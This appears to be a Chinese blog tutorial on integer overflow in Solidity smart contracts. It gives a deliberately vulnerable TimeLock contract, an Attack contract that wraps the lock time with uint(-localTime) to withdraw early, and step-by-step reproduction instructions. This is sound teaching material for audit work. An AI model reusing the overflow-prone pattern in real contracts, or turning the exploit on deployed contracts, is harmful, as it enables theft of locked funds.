首页 > 其他 > 详细

智能合约审计-整数溢出

时间:2021-05-25 22:38:08      阅读:23      评论:0      收藏:0      [点我收藏+]

简介

其实就是数值超过了最大值,引起溢出,接着从0开始计算
有张图特别好
技术分享图片

基础

uint也就是uint256的缩写,最大值为2**256-1
uint8 -> 2**8-1,其余的以此类推

超过最大值 1 -> 0
超过最大值 2 -> 1
超过最大值 3 -> 2
以此类推

技术分享图片
然后溢出也分为

  1. 加法溢出
  2. 减法溢出
  3. 乘法溢出

复现

打断了,玩了俩星期 一点技术没学,不知道原来咋写的,我就直接复现分析吧
靠.. 重装了系统 代码也都没了

pragma solidity ^0.6.0;

contract TimeLock{
    mapping(address=>uint) public balances;
    mapping(address=>uint) public localTime;

    function deposit() public payable{
        balances[msg.sender] += msg.value;  // 增加余额
        localTime[msg.sender] = now + 1 weeks;  // 增加时间一周后 
    }
    
    function increaseLockTime(uint _secondsToIncrease) public{
        localTime[msg.sender] += _secondsToIncrease;    // 增加时间 溢出漏洞触发处
    }
    
    function withdraw() public{
        require(balances[msg.sender] > 0);   // 判断有没有钱
        require(now > localTime[msg.sender]);    // 判断是否可以提钱
        uint amount = balances[msg.sender]; // 获取余额
        balances[msg.sender] = 0;   // 余额归0
        (bool sent, ) = msg.sender.call{value:amount}("");  // 转出去
        require(sent);
    }
}

contract Attack{
    TimeLock t1;
    constructor(TimeLock _timelock) public{     // 部署攻击合约时,需要把TimeLock的地址送进来
        t1 = _timelock;
    }
    
    function sned() public payable{
        t1.deposit{value:msg.value}();  // 发送余额
    }
    
    function attack() public payable{
        t1.increaseLockTime(
            uint(-t1.localTime(address(this)))      // 获取时间戳 再减去 就溢出了
            );
    }
    
    function test() public{
        t1.withdraw();  // 
    }
    
    fallback() external payable{}
}

哎呀呀 有点麻烦 放视频
https://youtu.be/1W6KzPxQKGw
也就是

  1. 先部署TimeLock合约
  2. 然后部署Attack合约, 带上刚才部署合约的地址
  3. 然后调用Attack合约的send函数,进行转账,别忘了带上转的钱数
  4. 调用TimeLock合约的balances函数,查询Attack地址的余额
  5. 然后调用Attack合约的test函数,其实就是尝试withdraw函数看看能否转账成功,然后是异常的
  6. 调用Attack合约的attack函数,然后溢出提款限制时间
  7. 接着调用Attack合约的test函数,可以看出调用成功
  8. 查询余额,调用TimeLock合约的balances函数,查询Attack地址的余额,可以发现已经变成0

智能合约审计-整数溢出

原文:https://www.cnblogs.com/secxue/p/14753607.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!